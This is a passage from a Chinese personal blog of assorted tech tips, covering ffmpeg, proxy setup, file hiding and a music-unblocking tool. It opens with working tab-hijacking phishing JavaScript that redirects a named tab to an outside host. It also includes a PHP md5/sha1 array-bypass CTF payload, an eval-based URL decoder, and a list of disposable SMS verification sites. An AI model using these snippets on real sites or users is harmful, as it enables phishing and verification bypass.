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          <h1 class="post-title" itemprop="name headline">那些黑科技</h1>
        

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        <h3 id="远程控制地址栏"><a href="#远程控制地址栏" class="headerlink" title="远程控制地址栏"></a>远程控制地址栏</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//675ba661.w1n.pw/41593a https://www.leavesongs.com/PENETRATION/use-target-to-spoof-fishing.html</span></span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;&lt;meta charset="utf-8"&gt;&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;a href=<span class="string">"https://www.baidu.com"</span> target=<span class="string">"baidu"</span> id=<span class="string">"baidu"</span> onclick=<span class="string">"return start()"</span>&gt;click me&lt;<span class="regexp">/a&gt;</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">&lt;script&gt;</span></span><br><span class="line"><span class="regexp">function start() &#123;</span></span><br><span class="line"><span class="regexp">    setInterval(function() &#123;</span></span><br><span class="line"><span class="regexp">        baidu.href="http:/</span><span class="regexp">/675ba661.w1n.pw/</span>baidu<span class="string">";</span></span><br><span class="line"><span class="string">        baidu.click();</span></span><br><span class="line"><span class="string">    &#125;, 10000);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br><span class="line"><span class="string">&lt;html&gt;</span></span><br><span class="line"><span class="string">&lt;head&gt;&lt;meta charset="</span>utf<span class="number">-8</span><span class="string">"&gt;&lt;/head&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">&lt;a href="</span>javascript:;<span class="string">" onclick="</span><span class="keyword">return</span> start()<span class="string">"&gt;click me&lt;/a&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&lt;script&gt;</span></span><br><span class="line"><span class="string">function start() &#123;</span></span><br><span class="line"><span class="string">    var w = window.open('https://www.baidu.com', 'baidu');</span></span><br><span class="line"><span class="string">    setInterval(function() &#123;</span></span><br><span class="line"><span class="string">        w.location = 'http://675ba661.w1n.pw/baidu'</span></span><br><span class="line"><span class="string">    &#125;, 5000)</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP浮点精确度"><a href="#PHP浮点精确度" class="headerlink" title="PHP浮点精确度"></a>PHP浮点精确度</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//www.itcodemonkey.com/article/2185.html</span></span><br><span class="line">floor((<span class="number">0.1</span>+<span class="number">0.7</span>)*<span class="number">10</span>) 通常会返回 <span class="number">7</span> 而不是预期中的 <span class="number">8</span>，因为该结果内部的表示其实是类似 <span class="number">7.9999999999999991118</span>…。</span><br><span class="line">?year=<span class="number">2016.99999999999</span> 输出<span class="number">2017</span></span><br><span class="line">var_dump(<span class="string">"0e123"</span> == <span class="string">"0e456"</span>);  <span class="comment">//true</span></span><br><span class="line">var_dump(<span class="string">"0e123"</span> == <span class="string">"0eabc"</span>);  <span class="comment">//flase</span></span><br><span class="line"><span class="number">0e123</span>与<span class="number">0e456</span>相互不严格性质比较的时候，会将<span class="number">0</span>e这类字符串识为科学技术法的数字,<span class="number">0</span>的无论多少次方都是零，所以相等,输出 <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="number">0e123</span>与<span class="number">0</span>eabc相互进行不严格性质比较的时候，本应该将<span class="number">0</span>e这类字符串识为科学技术法的数字,但是这里的<span class="number">0</span>e后面跟着的是abc,数学中科学计数的指数不可以包含字母。所以这里字符串中虽然是<span class="number">0</span>e开头，但是后面的abc却不符合科学技法的规范，所以输出是 <span class="literal">false</span></span><br><span class="line"></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">$flag = <span class="string">'flag&#123;I_think_that_I_just_broke_md5&#125;'</span>;</span><br><span class="line"><span class="keyword">if</span> (isset($_GET[<span class="string">'username'</span>]) and isset($_GET[<span class="string">'password'</span>])) &#123;</span><br><span class="line">    <span class="keyword">if</span> ($_GET[<span class="string">'username'</span>] == $_GET[<span class="string">'password'</span>])</span><br><span class="line">        print <span class="string">'Your password can not be your username.'</span>;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (md5($_GET[<span class="string">'username'</span>]) === sha1($_GET[<span class="string">'password'</span>]))</span><br><span class="line">        die($flag);</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        print <span class="string">'Invalid password'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ($_GET[<span class="string">'username'</span>] == $_GET[<span class="string">'password'</span>])</span><br><span class="line">并且得满足:</span><br><span class="line"><span class="keyword">if</span> (md5($_GET[<span class="string">'username'</span>]) === sha1($_GET[<span class="string">'password'</span>]))  ?username[]=a&amp;password[]=b</span><br></pre></td></tr></table></figure>
<h3 id="隐藏文件"><a href="#隐藏文件" class="headerlink" title="隐藏文件"></a>隐藏文件</h3><p>把hosts文件系统文件自动保护并隐藏的方法：</p>
<p>运行WIN+R，cmd，启动命令行以后，输入命令 ATTRIB +S +H +R HOSTS</p>
<p>还原为普通文件允许修改：</p>
<p>运行WIN+R，cmd，启动命令行以后，输入命令 ATTRIB -S -H -R HOSTS<br><a href="https://blog.gxxsite.com/hostswen-jian-bao-hu-jia-suo-yu-jie-suo-kuai-su-pei-zhi-ke-shang-github-google/" target="_blank" rel="noopener">https://blog.gxxsite.com/hostswen-jian-bao-hu-jia-suo-yu-jie-suo-kuai-su-pei-zhi-ke-shang-github-google/</a> </p>
<h3 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">$cipher = <span class="string">"XHg2OFx4NzRceDc0XHg3MFx4NzNceDNhXHgyZlx4MmZceDc0XHg2NVx4NzJceDZkXHg2Mlx4NjlceDZlXHgyZVx4NjNceDZmXHg2ZFx4MmZceDZjXHg2Y1x4NjJceDYz"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 1. base64</span></span><br><span class="line">$escaped_hex = base64_decode($cipher);</span><br><span class="line">echo <span class="string">'escaped_hex: '</span> . $escaped_hex . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. "\x" unescape https://learnku.com/articles/25862</span></span><br><span class="line"><span class="built_in">eval</span>(<span class="string">'$url = "'</span> . $escaped_hex . <span class="string">'";'</span>);</span><br><span class="line">echo <span class="string">'url: '</span> . $url . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. read this url</span></span><br><span class="line">$resource = trim(</span><br><span class="line">    file_get_contents($url)</span><br><span class="line">);</span><br><span class="line">echo <span class="string">'resource: '</span> . $resource . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 4. trim</span></span><br><span class="line">$encoding = strstr($resource, <span class="string">':'</span>, <span class="literal">true</span>);</span><br><span class="line">echo <span class="string">'encoding: '</span> . $encoding . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 5. absorb real data</span></span><br><span class="line">$parts = explode(<span class="string">' '</span>, $resource);</span><br><span class="line">array_shift($parts);</span><br><span class="line">$hex = implode(<span class="string">''</span>, $parts);</span><br><span class="line">echo <span class="string">'hex: '</span> . $hex . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 6. get the raw binary</span></span><br><span class="line">$bin = pack(<span class="string">'H*'</span>, $hex);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 7. final convert</span></span><br><span class="line">$results = mb_convert_encoding($bin, <span class="string">'utf-8'</span>, $encoding);</span><br><span class="line">echo <span class="string">'RESULTS: '</span> . $results . PHP_EOL;</span><br></pre></td></tr></table></figure>
<h3 id="命令行进度条"><a href="#命令行进度条" class="headerlink" title="命令行进度条"></a>命令行进度条</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">    echo <span class="string">"\033[41:37m \n Laravel ERROR : Oh My God, this is a bug!!! \n https://kuricat.com/gist/ansi-stdout-6s4pi"</span>;</span><br><span class="line">$count = <span class="number">100</span>;</span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">1</span>; $i &lt;= <span class="number">100</span>; $i++) &#123;</span><br><span class="line">    usleep(<span class="number">50000</span>);</span><br><span class="line">    $color = $i % <span class="number">8</span> + <span class="number">40</span>;</span><br><span class="line">    $equalStr = str_repeat(<span class="string">"\033[&#123;$color&#125;;37m=\33[0m"</span>, $i);</span><br><span class="line">    $space    = str_repeat(<span class="string">" "</span>, $count - $i);</span><br><span class="line">    echo(<span class="string">"\r [$equalStr&gt;$space]($i/$count%)"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h4 id="cookie编辑"><a href="#cookie编辑" class="headerlink" title="cookie编辑"></a>cookie编辑</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">document</span>.cookie=<span class="string">"username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/"</span>; </span><br><span class="line">也可以删除cookie </span><br><span class="line">https:<span class="comment">//chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg</span></span><br><span class="line">https:<span class="comment">//superuser.com/questions/244062/how-do-i-view-add-or-edit-cookies-in-google-chrome</span></span><br></pre></td></tr></table></figure>
<h3 id="国内外免费可用接收短信验证码平台网站"><a href="#国内外免费可用接收短信验证码平台网站" class="headerlink" title="国内外免费可用接收短信验证码平台网站"></a>国内外免费可用接收短信验证码平台网站</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//www.09l.me/714.html</span></span><br><span class="line">免费接收短信	http:<span class="comment">//www.shejiinn.com/	中国、缅甸</span></span><br><span class="line">Z-SMS	http:<span class="comment">//z-sms.com/	中国、美国、缅甸、爱沙尼亚</span></span><br><span class="line">免费接收短信	http:<span class="comment">//www.smszk.com/	中国</span></span><br><span class="line">在线接收短信	https:<span class="comment">//www.becmd.com/	美国、中国</span></span><br><span class="line">在线短信接收	https:<span class="comment">//www.pdflibr.com/	美国、中国、菲律宾</span></span><br><span class="line">MyTrashmobile	https:<span class="comment">//zh.mytrashmobile.com/	美国、英国、加拿大</span></span><br><span class="line">FreePhonenum	https:<span class="comment">//ch.freephonenum.com/	美国、加拿大(支持免费发短信)</span></span><br><span class="line">ReceiveSMS	https:<span class="comment">//www.receivesms.co/	奥地利、比利时、加拿大、瑞士、丹麦、西班牙、英国、意大利、拉脱维亚、波兰、葡萄牙、瑞典、美国</span></span><br><span class="line">Receive SMS	http:<span class="comment">//receivesmsverification.com/	比利时、英国、美国</span></span><br><span class="line">Receive Online SMS	http:<span class="comment">//receiveonlinesms.biz/	美国、瑞典、挪威、西班牙、英国</span></span><br><span class="line">Receive Free SMS	http:<span class="comment">//www.freesmsverifications.com/	美国、英国、法国、波兰、比利时、加拿大</span></span><br><span class="line">SMS-Receive	https:<span class="comment">//sms-receive.net/	俄罗斯、法国、罗马尼亚、西班牙、荷兰、英国</span></span><br><span class="line">Receive-SMS-Now	http:<span class="comment">//www.receive-sms-now.com/	美国、加拿大、荷兰</span></span><br><span class="line">Receive SMS Online	http:<span class="comment">//receivesmsonline.in/	美国、加拿大、西班牙</span></span><br><span class="line">Receive-SMS-Now	http:<span class="comment">//receivefreesms.net/	美国、加拿大、西班牙</span></span><br><span class="line">SMSReceiveFree	https:<span class="comment">//smsreceivefree.com	美国、英国、加拿大</span></span><br><span class="line">Receive SMS Online <span class="keyword">for</span> FREE	https:<span class="comment">//www.receive-sms-online.info/	英国、罗马尼亚、美国、西班牙、法国、德国、俄罗斯</span></span><br><span class="line">Receive a SMS Online	https:<span class="comment">//receive-a-sms.com/	美国、澳大利亚、挪威、奥地利、巴西、香港、南非、波兰、英国、加拿大</span></span><br><span class="line">Free SMS Numbers Online	https:<span class="comment">//smsnumbersonline.com/	美国、英国、加拿大、波兰</span></span><br><span class="line">Receive SMS online <span class="keyword">for</span> Free	https:<span class="comment">//sms-online.co/receive-free-sms	美国、英国、加拿大、瑞典、法国、马来西亚、印度尼西亚</span></span><br><span class="line">Receive-SMS	https:<span class="comment">//receive-sms.com/	美国</span></span><br><span class="line">Receive FREE SMS online	http:<span class="comment">//receivefreesms.com/	美国、英国、挪威、瑞典、荷兰、澳大利亚、匈牙利、立陶宛、香港等</span></span><br><span class="line">RECEIVE SMS ONLINE	https:<span class="comment">//www.receivesmsonline.net/	美国、加拿大、英国</span></span><br><span class="line">Free Online Phone	https:<span class="comment">//www.freeonlinephone.org	美国、加拿大、英国、瑞典</span></span><br><span class="line">Receive SMS Online	http:<span class="comment">//receive-sms-online.com	俄国、英国、乌克兰</span></span><br><span class="line">TextNow	https:<span class="comment">//www.textnow.com/	美国</span></span><br><span class="line">Textfree	https:<span class="comment">//www.pinger.com/text-free/	</span></span><br><span class="line">SELLAITE	http:<span class="comment">//sms.sellaite.com/	爱沙尼亚</span></span><br><span class="line">Twilio	https:<span class="comment">//www.twilio.com/	支持API调用，看上去很不错</span></span><br></pre></td></tr></table></figure>
<h3 id="隐藏文件夹"><a href="#隐藏文件夹" class="headerlink" title="隐藏文件夹"></a>隐藏文件夹</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">在命令提示符下输入：attrib +s +a +h +r d:不告诉你，回车，就彻底隐藏了D:\不告诉你文件夹了，即使在显示隐藏的文件、文件夹和驱动器下也可以将其隐藏起来。</span><br><span class="line">直接在地址栏输文件夹名不告诉你即可打开文件夹，神不知鬼不觉</span><br><span class="line">需要在命令提示符下输入：attrib -s -a -h -r d:不告诉你，回车，此时不告诉你文件夹就显示出来了。</span><br></pre></td></tr></table></figure>
<h3 id="ffmpeg"><a href="#ffmpeg" class="headerlink" title="ffmpeg"></a>ffmpeg</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line">ffmpeg.exe</span><br><span class="line">ffmpeg是用于转码的应用程序。</span><br><span class="line">一个简单的转码命令可以这样写：</span><br><span class="line">将input.avi转码成output.ts，并设置视频的码率为<span class="number">640</span>kbps</span><br><span class="line">ffmpeg -i input.avi -b:v <span class="number">640</span>k output.ts</span><br><span class="line">ffplay.exe</span><br><span class="line">ffplay是用于播放的应用程序。</span><br><span class="line">一个简单的播放命令可以这样写：</span><br><span class="line"># 播放test.avi</span><br><span class="line">ffplay test.avi</span><br><span class="line"></span><br><span class="line"># 将视频流下载并合并成 out.mkv </span><br><span class="line">ffmpeg -i http:<span class="comment">//...m3u8 -c copy out.mkv</span></span><br><span class="line">ffmpeg 的一些参数</span><br><span class="line">基本使用方式：</span><br><span class="line">ffmpeg [[options][<span class="string">`-i’ input_file]] &#123;[options] output_file&#125; </span></span><br><span class="line"><span class="string">a) 通用选项</span></span><br><span class="line"><span class="string">ffmpeg -h 帮助，查看所有参数说明</span></span><br><span class="line"><span class="string">-i filename 输入文件 </span></span><br><span class="line"><span class="string">-b bitrate 设置比特率，缺省200kb/s </span></span><br><span class="line"><span class="string">-ss position 搜索到指定的时间 [-]hh:mm:ss[.xxx]的格式也支持。使用-ss参数的作用，可以从指定时间点开始转换任务，-ss后的时间单位为秒 </span></span><br><span class="line"><span class="string">-title string 设置标题（比如PSP中显示影片的标题） </span></span><br><span class="line"><span class="string">-author string 设置作者 </span></span><br><span class="line"><span class="string">-r fps 设置帧频 缺省25 </span></span><br><span class="line"><span class="string">-s size 设置帧大小 格式为W*H 缺省160*128.也可以直接使用简写</span></span><br><span class="line"><span class="string">-ab bitrate 设置音频码率 </span></span><br><span class="line"><span class="string">-ar freq 设置音频采样率 </span></span><br><span class="line"><span class="string">ffmepg常用的方法</span></span><br><span class="line"><span class="string">1.提取音频</span></span><br><span class="line"><span class="string">ffmpeg -i test.mp4 -acodec copy -vn output.aac </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># 上面的命令，默认mp4的audio codec是aac,如果不是，可以都转为最常见的aac。 </span></span><br><span class="line"><span class="string">ffmpeg -i test.mp4 -acodec aac -vn output.aac</span></span><br><span class="line"><span class="string">2.视频剪切</span></span><br><span class="line"><span class="string"># 下面的命令，可以从时间为00:00:15开始，截取5秒钟的视频。 </span></span><br><span class="line"><span class="string">ffmpeg -ss 00:00:15 -t 00:00:05 -i input.mp4 -vcodec copy -acodec copy output.mp4 </span></span><br><span class="line"><span class="string"># -ss表示开始切割的时间，-t表示要切多少。上面就是从15秒开始，切5秒钟出来。</span></span><br><span class="line"><span class="string">3.码率控制</span></span><br><span class="line"><span class="string">码率控制对于在线视频比较重要。因为在线视频需要考虑其能提供的带宽。</span></span><br><span class="line"><span class="string">那么，什么是码率？很简单：</span></span><br><span class="line"><span class="string">bitrate = file size / duration 比如一个文件20.8M，时长1分钟，那么，码率就是： biterate = 20.8M bit/60s = 20.810241024*8 bit/60s= 2831Kbps 一般音频的码率只有固定几种，比如是128Kbps， 那么，video的就是 video biterate = 2831Kbps -128Kbps = 2703Kbps</span></span><br><span class="line"><span class="string">那么ffmpeg如何控制码率？</span></span><br><span class="line"><span class="string">ffmpg控制码率有3种选择，-minrate -b:v -maxrate</span></span><br><span class="line"><span class="string">-b:v主要是控制平均码率。 比如一个视频源的码率太高了，有10Mbps，文件太大，想把文件弄小一点，但是又不破坏分辨率。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -b:v 2000k output.mp4 </span></span><br><span class="line"><span class="string">上面把码率从原码率转成2Mbps码率，这样其实也间接让文件变小了。目测接近一半。 不过，ffmpeg官方wiki比较建议，设置b:v时，同时加上 -bufsize。</span></span><br><span class="line"><span class="string">-bufsize 用于设置码率控制缓冲器的大小，设置的好处是，让整体的码率更趋近于希望的值，减少波动。（简单来说，比如1 2的平均值是1.5， 1.49 1.51 也是1.5, 当然是第二种比较好）</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -b:v 2000k -bufsize 2000k output.mp4</span></span><br><span class="line"><span class="string">-minrate 就简单了，在线视频有时候，希望码率波动，不要超过一个阈值，可以设置maxrate。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -b:v 2000k -bufsize 2000k -maxrate 2500k output.mp4</span></span><br><span class="line"><span class="string">4.视频编码格式转换</span></span><br><span class="line"><span class="string">比如一个视频的编码是MPEG4，想用H264编码，咋办？</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vcodec h264 output.mp4 </span></span><br><span class="line"><span class="string"># 相反也一样 </span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vcodec mpeg4 output.mp4</span></span><br><span class="line"><span class="string">5.视频压缩</span></span><br><span class="line"><span class="string">将输入的1920x1080缩小到960x540输出:</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vf scale=960:540 output.mp4 </span></span><br><span class="line"><span class="string"># ps: 如果540不写，写成-1，即scale=960:-1, 那也是可以的，ffmpeg会通知缩放滤镜在输出时保持原始的宽高比。</span></span><br><span class="line"><span class="string">6.为视频添加logo</span></span><br><span class="line"><span class="string">想要贴到一个视频上，那可以用如下命令：</span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i iQIYI_logo.png -filter_complex overlay output.mp4 </span></span><br><span class="line"><span class="string">结果如下所示： 001.jpg</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">要贴到其他地方？看下面：</span></span><br><span class="line"><span class="string">右上角： </span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i logo.png -filter_complex overlay=W-w output.mp4 </span></span><br><span class="line"><span class="string">左下角： </span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i logo.png -filter_complex overlay=0:H-h output.mp4 </span></span><br><span class="line"><span class="string">右下角： </span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i logo.png -filter_complex overlay=W-w:H-h output.mp4</span></span><br><span class="line"><span class="string">7.去掉视频的logo</span></span><br><span class="line"><span class="string">语法：</span></span><br><span class="line"><span class="string">-vf delogo=x:y:w:h[:t[:show]] </span></span><br><span class="line"><span class="string">x:y 离左上角的坐标 </span></span><br><span class="line"><span class="string">w:h logo的宽和高 </span></span><br><span class="line"><span class="string">t: 矩形边缘的厚度默认值4 </span></span><br><span class="line"><span class="string">show：若设置为1有一个绿色的矩形，默认值0。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vf delogo=0:0:220:90:100:1 output.mp4 </span></span><br><span class="line"><span class="string">结果如下所示： 002.jpg</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">8.截取视频图像</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -r 1 -q:v 2 -f image2 pic-%03d.jpeg </span></span><br><span class="line"><span class="string"># -r 表示每一秒几帧 </span></span><br><span class="line"><span class="string"># -q:v表示存储jpeg的图像质量，一般2是高质量。 </span></span><br><span class="line"><span class="string">如此，ffmpeg会把input.mp4，每隔一秒，存一张图片下来。假设有60s，那会有60张。</span></span><br><span class="line"><span class="string">可以设置开始的时间，和你想要截取的时间。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -ss 00:00:20 -t 10 -r 1 -q:v 2 -f image2 pic-%03d.jpeg </span></span><br><span class="line"><span class="string"># -ss 表示开始时间 </span></span><br><span class="line"><span class="string"># -t 表示共要多少时间。 </span></span><br><span class="line"><span class="string">如此，ffmpeg会从input.mp4的第20s时间开始，往下10s，即20~30s这10秒钟之间，每隔1s就抓一帧，总共会抓10帧。</span></span><br><span class="line"><span class="string">干货：多个视频文件或文本文档合并成一个文件</span></span><br><span class="line"><span class="string">001.png 在当前目录下建立一个文本文挡，内容</span></span><br><span class="line"><span class="string">copy /b 1.ts + 2.ts + 3.ts new.ts</span></span><br><span class="line"><span class="string">然后保存，将文本文档后缀改成bat格式。打开即可将目录下的ts文件以二进制顺序合并为new.ts文件。 002.png</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">txt文本同样也可以用这种方法合并</span></span><br><span class="line"><span class="string">http://www.golang365.com/#/blog/20</span></span><br></pre></td></tr></table></figure>
<h3 id="命令行科学上网实践"><a href="#命令行科学上网实践" class="headerlink" title="命令行科学上网实践"></a>命令行科学上网实践</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">apt-get install xxxx</span><br><span class="line">listen-address <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">8118</span></span><br><span class="line">forward-socks5 / localhost:<span class="number">1086</span> .</span><br><span class="line">sudo privoxy /usr/local/etc/privoxy/config</span><br><span class="line">netstat -an | grep <span class="number">8118</span></span><br><span class="line"># 效果如下</span><br><span class="line"># tcp4     0    0  127.0.0.1.8118     *.*    LISTEN</span><br><span class="line"># tcp4     0    0  *.8118             *.*    LISTEN</span><br><span class="line">ps -ef | grep privoxy</span><br><span class="line">proxy_on</span><br><span class="line">https:<span class="comment">//sanbaofengs.com/2018/06/25/command-line-proxy/</span></span><br></pre></td></tr></table></figure>
<h3 id="网易云音乐歌曲变灰"><a href="#网易云音乐歌曲变灰" class="headerlink" title="网易云音乐歌曲变灰"></a>网易云音乐歌曲变灰</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/nondanee/UnblockNeteaseMusic.git #克隆项目仓库</span></span><br><span class="line">cd UnblockNeteaseMusic #进入项目根目录</span><br><span class="line">host 里面加入</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> music<span class="number">.163</span>.com</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> interface.music<span class="number">.163</span>.com</span><br><span class="line">node app.js -p <span class="number">80</span> -f <span class="number">223.252</span><span class="number">.199</span><span class="number">.66</span></span><br><span class="line">重启网易云 https:<span 